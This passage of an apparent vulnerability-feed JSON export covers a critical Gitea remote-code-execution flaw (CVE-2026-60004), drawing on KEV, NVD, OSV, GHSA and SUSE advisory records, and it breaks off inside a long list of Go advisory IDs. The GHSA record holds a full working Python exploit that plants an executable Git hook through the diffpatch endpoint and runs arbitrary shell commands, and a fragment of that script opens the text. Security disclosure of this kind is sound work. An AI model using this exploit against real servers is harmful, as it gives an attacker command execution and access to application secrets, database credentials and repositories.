log_ok(f\"{args.command}:\")\n    print(_g(\"---\"))\n    if cmd_out:\n        for line in cmd_out.splitlines():\n            print(_g(line))\n    else:\n        print(_d(\"\u003cno output\u003e\"))\n    print(_g(\"---\"))\n    if exit_status == 0:\n        log_ok(f\"exit status: {exit_status}\")\n    elif exit_status is None:\n        log_star(\"exit status: unknown\")\n    else:\n        log_err(f\"exit status: {exit_status}\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except PocError as exc:\n        log_err(str(exc))\n        raise SystemExit(1) from None\n\n```","status":"published","published":"2026-09-08T17:56:30Z","modified":"2026-09-08T17:56:31Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:41:13.477974Z"}],"kev":[{"id":"CVE-2026-60004","title":"Gitea Code Injection Vulnerability","description":"Gitea contains a code injection vulnerability that allows an attacker with repository write access to send a malicious patch to the diffpatch API endpoint to plant an executable Git hook and run shell commands as the Gitea service account.","cwes":["CWE-94"],"kev":{"date_added":"2026-08-25","due_date":"2026-08-28","required_action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","known_ransomware_use":"Unknown"},"updated_at":"2026-11-02T17:00:15.999436Z"}],"nvd":[{"id":"CVE-2026-60004","description":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","status":"published","published":"2026-08-26T20:17:56.01Z","modified":"2026-08-27T11:41:19.23Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:41.66469Z"}],"osv":[{"id":"ALPINE-CVE-2026-60004","description":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","status":"published","published":"2026-08-26T20:17:56.01Z","modified":"2026-11-03T06:33:05.841900448Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T07:15:37.282377Z"},{"id":"CVE-2026-60004","description":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","status":"published","published":"2026-08-26T19:45:00Z","modified":"2026-10-28T02:31:12.387588482Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:12.933503Z"},{"id":"GHSA-rcr6-4jqh-j84m","title":"Gitea: Remote Code Execution via diffpatch Git Hook Installation","description":"### Summary\n\nGitea's `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content.\n\nAn attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.\n\n### Details\n\n`services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone:\n\n```go\ncmdApply := gitcmd.NewCommand(\"apply\", \"--index\", \"--recount\", \"--cached\", \"--binary\")\nif git.DefaultFeatures().CheckVersionAtLeast(\"2.32\") {\n    cmdApply.AddArguments(\"-3\")\n}\n````\n\nSubmitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`.\n\nIn a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named:\n\n```text\nhooks/post-index-change\n```\n\nbecomes a live Git hook.\n\nGit invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.\n\nThe hook's return value is not propagated to the `diffpatch` response.\n\nThe attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.\n\n### PoC\n\nThe supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository.\n\nSet the account password:\n\n```bash\nexport GITEA_PASSWORD='account-password'\n```\n\nExecute a command through the `diffpatch` chain:\n\n```bash\npython3 ./gitea_diffpatch_rce_poc.py \\\n  https://gitea.example \\\n  pocuser \\\n  'id; uname -srm; pwd'\n```\n\nThe script:\n\n* Creates an initialized private repository.\n* Submits the same executable-hook patch twice.\n* Fetches the result branch.\n* Prints the command's combined stdout, stderr, and exit status.\n* Prints the evidence repository, ref, and commit IDs to stderr.\n\nExpected output resembles:\n\n```text\nuid=1000(git) gid=1000(git) groups=1000(git)\nLinux ...\n/data/gitea/tmp/...\n\n[exit-status=0]\n```\n\nThe trigger requires:\n\n* Git 2.32 or newer.\n* An enabled `diffpatch` route.\n* A writable and executable temporary filesystem.\n\nOpen registration is required only for the no-prior-credentials attack path.\n\n### Impact\n\nThis is remote command execution as the Gitea service account (`CWE-94`).\n\nDepending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:\n\n* `app.ini` and Gitea application secrets.\n* Process environment secrets.\n* Mounted repositories.\n* Database credentials and database contents.\n* OAuth and integration credentials.\n* Other internal or externally reachable services.\n\nWith open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.\n\n\n\u003cimg width=\"928\" height=\"687\" alt=\"Screenshot 2026-07-25 at 14 45 44\" src=\"https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c\" /\u003e\n\n\n\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nGitea RCE PoC – authorized testing only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport base64\nimport getpass\nimport hashlib\nimport json\nimport os\nfrom pathlib import Path\n\nimport secrets\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\nfrom typing import Any\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\nTIMEOUT    = 30.0\nUSER_AGENT = \"gitea-rce-poc/2.0\"\n\n_RST  = \"\\033[0m\"\n_DIM  = \"\\033[2m\"\n_GRN  = \"\\033[38;5;46m\"     # bright green\n_RED  = \"\\033[31m\"           # red for errors\n\ndef _g(t: str) -\u003e str: return f\"{_GRN}{t}{_RST}\"\ndef _r(t: str) -\u003e str: return f\"{_RED}{t}{_RST}\"\ndef _d(t: str) -\u003e str: return f\"{_DIM}{t}{_RST}\"\n\ndef log_star(msg: str) -\u003e None: print(f\"{_g('[*]')} {_d(msg)}\")\ndef log_ok  (msg: str) -\u003e None: print(f\"{_g('[+]')} {_g(msg)}\")\ndef log_err (msg: str) -\u003e None: print(f\"{_r('[-]')} {_r(msg)}\")\n\n\n_SEP = \"  \" + \"═\" * 44\nBANNER = f\"{_SEP}\\n  GITEA  REMOTE CODE EXECUTION  POC\\n{_SEP}\"\n\ndef print_banner(url: str, version: str | None = None,\n                 command: str | None = None) -\u003e None:\n    print()\n    for line in BANNER.splitlines():\n        print(_g(line))\n    print()\n    ver = version or \"unknown\"\n    print(_g(\"  \" + \"-\" * 54))\n    print(_g(f\"  Target        : {url}\"))\n    print(_g(f\"  Version       : {ver}\"))\n    if command:\n        print(_g(f\"  Command       : {command}\"))\n    print(_g(\"  \" + \"-\" * 54))\n    print()\n\nclass PocError(RuntimeError):\n    pass\n\nclass GiteaClient:\n    def __init__(self, base_url: str, username: str, password: str) -\u003e None:\n        parsed = urllib.parse.urlsplit(base_url)\n        if parsed.scheme not in {\"http\", \"https\"} or not parsed.netloc:\n            raise PocError(\"URL must be an absolute http:// or https:// URL\")\n        if parsed.query or parsed.fragment:\n            raise PocError(\"URL must not contain a query string or fragment\")\n        self.base_url = base_url.rstrip(\"/\")\n        self.username = username\n        self.password = password\n        encoded = base64.b64encode(\n            f\"{username}:{password}\".encode()\n        ).decode(\"ascii\")\n        self.authorization = f\"Basic {encoded}\"\n\n    def api(\n        self,\n        method: str,\n        path: str,\n        payload: dict[str, Any] | None = None,\n    ) -\u003e tuple[int, Any]:\n        data = None\n        if payload is not None:\n            data = json.dumps(payload, separators=(\",\", \":\")).encode()\n        req = urllib.request.Request(\n            self.base_url + path,\n            data=data,\n            method=method,\n            headers={\n                \"Accept\": \"application/json\",\n                \"Authorization\": self.authorization,\n                \"Content-Type\": \"application/json\",\n                \"User-Agent\": USER_AGENT,\n            },\n        )\n        try:\n            with urllib.request.urlopen(req, timeout=TIMEOUT) as r:\n                raw = r.read()\n                return r.status, json.loads(raw) if raw else None\n        except urllib.error.HTTPError as exc:\n            body = exc.read().decode(\"utf-8\", errors=\"replace\")[:2_000]\n            raise PocError(f\"{method} {path} → HTTP {exc.code}: {body}\") from exc\n        except urllib.error.URLError as exc:\n            raise PocError(f\"{method} {path} failed: {exc.reason}\") from exc\n        except json.JSONDecodeError:\n            raise PocError(f\"{method} {path} returned invalid JSON\")\n\ndef blob_oid(content: bytes) -\u003e str:\n    return hashlib.sha1(\n        f\"blob {len(content)}\\0\".encode(\"ascii\") + content\n    ).hexdigest()\n\ndef build_hook(command: str, leak_ref: str) -\u003e bytes:\n    qcmd = shlex.quote(command)\n    qref = shlex.quote(f\"refs/heads/{leak_ref}\")\n    return (\n        \"#!/bin/sh\\n\"\n        'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\\n'\n        'origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\\n'\n        'case \"$origin_objects\" in\\n'\n        '  /*) ;;\\n'\n        '  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\\n'\n        \"esac\\n\"\n        'origin_git=${origin_objects%/objects}\\n'\n        '[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\\n'\n        f\"output_blob=$({{ /bin/sh -c {qcmd}; \"\n        'command_status=$?; printf \"\\\\n[exit-status=%s]\\\\n\" \"$command_status\"; } 2\u003e\u00261 | '\n        'git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\\n'\n        'tree=$(printf \"100644 blob %s\\\\toutput\\\\n\" \"$output_blob\" | '\n        'git --git-dir=\"$origin_git\" mktree) || exit 5\\n'\n        'commit=$(printf \"command output\\\\n\" | '\n        \"GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid \"\n        \"GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid \"\n        'git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\\n'\n        f'git --git-dir=\"$origin_git\" update-ref {qref} \"$commit\" || exit 7\\n'\n        \"exit 0\\n\"\n    ).encode()\n\ndef build_patch(hook: bytes) -\u003e str:\n    lc  = hook.count(b\"\\n\")\n    hdr = (\n        \"diff --git a/hooks/post-index-change b/hooks/post-index-change\\n\"\n        \"new file mode 100755\\n\"\n        f\"index {'0'*40}..{blob_oid(hook)}\\n\"\n        \"--- /dev/null\\n\"\n        \"+++ b/hooks/post-index-change\\n\"\n        f\"@@ -0,0 +1,{lc} @@\\n\"\n    ).encode()\n    return (hdr + b\"\".join(b\"+\" + l for l in hook.splitlines(keepends=True))).decode()\n\ndef run_git(git: str, arguments: list[str], env: dict[str, str]) -\u003e bytes:\n    try:\n        result = subprocess.run(\n            [git, *arguments], env=env,\n            stdin=subprocess.DEVNULL,\n            stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n            check=False, timeout=TIMEOUT,\n        )\n    except subprocess.TimeoutExpired as exc:\n        raise PocError(f\"git timed out after {TIMEOUT:g}s\") from exc\n    except OSError as exc:\n        raise PocError(f\"could not run git: {exc}\") from exc\n    if result.returncode != 0:\n        err = result.stderr.decode(\"utf-8\", errors=\"replace\")[:2_000].strip()\n        raise PocError(f\"git exit {result.returncode}: {err}\")\n    return result.stdout\n\ndef fetch_output(git: str, client: GiteaClient,\n                 owner: str, repo: str, leak_ref: str) -\u003e bytes:\n    remote = (\n        f\"{client.base_url}/\"\n        f\"{urllib.parse.quote(owner, safe='')}/\"\n        f\"{urllib.parse.quote(repo, safe='')}.git\"\n    )\n    with tempfile.TemporaryDirectory(prefix=\"gitea-poc-\") as tmp:\n        bare      = Path(tmp) / \"fetch.git\"\n        auth_cfg  = Path(tmp) / \"auth.config\"\n        fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)\n        with os.fdopen(fd, \"w\", encoding=\"utf-8\") as f:\n            f.write(f\"[http]\\n\\textraHeader = Authorization: {client.authorization}\\n\")\n        env = {**os.environ, \"GIT_TERMINAL_PROMPT\": \"0\"}\n        run_git(git, [\"init\", \"--bare\", \"--quiet\", str(bare)], env)\n        run_git(git, [\n            \"-C\", str(bare), \"-c\", f\"include.path={auth_cfg}\",\n            \"fetch\", \"--quiet\", \"--no-tags\",\n            remote, f\"refs/heads/{leak_ref}\",\n        ], env)\n        return run_git(git, [\"-C\", str(bare), \"show\", \"FETCH_HEAD:output\"], env)\n\ndef split_output(raw: bytes) -\u003e tuple[str, int | None]:\n    text  = raw.decode(\"utf-8\", errors=\"replace\")\n    lines = text.splitlines()\n    status: int | None = None\n    if lines:\n        t = lines[-1].strip()\n        if t.startswith(\"[exit-status=\") and t.endswith(\"]\"):\n            try:    status = int(t[len(\"[exit-status=\"):-1])\n            except ValueError: pass\n            else:   lines.pop()\n    return \"\\n\".join(lines).rstrip(\"\\n\"), status\n\n\ndef parse_args() -\u003e argparse.Namespace:\n    p = argparse.ArgumentParser(description=\"Gitea RCE PoC\")\n    p.add_argument(\"url\",      help=\"Gitea base URL\")\n    p.add_argument(\"username\", help=\"existing Gitea username\")\n    p.add_argument(\"command\",  help=\"shell command to execute on target\")\n    return p.parse_args()\n\n\ndef main() -\u003e int:\n    args = parse_args()\n    if \"\\0\" in args.command:\n        raise PocError(\"command must not contain a NUL character\")\n\n    password = os.environ.get(\"GITEA_PASSWORD\") or getpass.getpass(\n        _g(\"[?]\") + \" password: \"\n    )\n    if not password:\n        raise PocError(\"password must not be empty\")\n\n    git = shutil.which(\"git\")\n    if git is None:\n        raise PocError(\"git executable not found in PATH\")\n\n    client = GiteaClient(args.url, args.username, password)\n\n    # version probe (pre-banner)\n    log_star(\"probing target...\")\n    version: str | None = None\n    try:\n        r = urllib.request.Request(\n            client.base_url + \"/api/v1/version\",\n            headers={\"Accept\": \"application/json\", \"User-Agent\": USER_AGENT},\n        )\n        with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:\n            version = json.loads(resp.read()).get(\"version\", \"unknown\")\n    except Exception:\n        version = \"unknown\"\n    print_banner(client.base_url, version, args.command)\n\n    log_star(f\"target={client.base_url}  user={args.username}  cmd={args.command}\")\n    print()\n\n    # step 1 – authenticate\n    log_star(\"authenticating...\")\n    sc, acct = client.api(\"GET\", \"/api/v1/user\")\n    if sc != 200 or not isinstance(acct, dict):\n        log_err(\"authentication failed\"); raise PocError(\"auth failed\")\n    owner = acct.get(\"login\")\n    if not isinstance(owner, str) or not owner:\n        log_err(\"no login in response\"); raise PocError(\"no login\")\n    log_ok(f\"logged in as {owner}  ({version})\")\n\n    # step 2 – create repo\n    unique   = secrets.token_hex(5)\n    repo     = f\"test-repo-{unique}\"\n    leak_ref = f\"output-{unique}\"\n    log_star(\"creating repository...\")\n    sc, _ = client.api(\"POST\", \"/api/v1/user/repos\", {\n        \"name\": repo, \"private\": True,\n        \"auto_init\": True, \"default_branch\": \"main\",\n        \"object_format_name\": \"sha1\",\n    })\n    if sc != 201:\n        log_err(\"repo creation failed\"); raise PocError(\"repo creation failed\")\n    log_ok(f\"created repo {owner}/{repo}\")\n\n    # steps 3–4 – deliver payloads\n    body = {\n        \"content\": build_patch(build_hook(args.command, leak_ref)),\n        \"message\": \"initial commit\",\n        \"branch\": \"main\", \"new_branch\": \"main\",\n    }\n    ep = (\n        f\"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/\"\n        f\"{urllib.parse.quote(repo, safe='')}/diffpatch\"\n    )\n    commits: list[str] = []\n    for cycle in (1, 2):\n        log_star(f\"delivering payload {cycle}/2...\")\n        sc, resp = client.api(\"POST\", ep, body)\n        try:\n            commit = resp[\"commit\"][\"sha\"]\n        except (KeyError, TypeError) as exc:\n            log_err(f\"payload {cycle}/2 rejected\")\n            raise PocError(f\"cycle {cycle} no commit\") from exc\n        if sc != 201:\n            log_err(f\"payload {cycle}/2 failed\")\n            raise PocError(f\"cycle {cycle} failed\")\n        commits.append(commit)\n        log_ok(f\"payload {cycle}/2 accepted  commit={commit[:16]}\")\n\n    # step 5 – retrieve output\n    log_star(\"retrieving output...\")\n    output = fetch_output(git, client, owner, repo, leak_ref)\n    log_ok(\"operation complete\")\n\n    # command output\n    cmd_out, exit_status = split_output(output)\n    print()\n    log_ok(f\"{args.command}:\")\n    print(_g(\"---\"))\n    if cmd_out:\n        for line in cmd_out.splitlines():\n            print(_g(line))\n    else:\n        print(_d(\"\u003cno output\u003e\"))\n    print(_g(\"---\"))\n    if exit_status == 0:\n        log_ok(f\"exit status: {exit_status}\")\n    elif exit_status is None:\n        log_star(\"exit status: unknown\")\n    else:\n        log_err(f\"exit status: {exit_status}\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except PocError as exc:\n        log_err(str(exc))\n        raise SystemExit(1) from None\n\n```","status":"published","published":"2026-09-08T17:56:30Z","modified":"2026-09-10T15:25:46.385543493Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:55.877614Z"},{"id":"BIT-gitea-2026-60004","description":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","status":"published","published":"2026-08-28T14:42:24.751Z","modified":"2026-09-10T15:25:46.385543493Z","updated_at":"2026-11-02T15:28:29.999658Z"},{"id":"GO-2026-6433","title":"Gitea: Remote Code Execution via diffpatch Git Hook Installation in gitea.dev","description":"Gitea: Remote Code Execution via diffpatch Git Hook Installation in gitea.dev","status":"published","published":"2026-09-10T14:48:42Z","modified":"2026-09-10T15:25:46.385543493Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21897-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:36:27Z","modified":"2026-09-25T18:23:11.534555779Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23855-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * 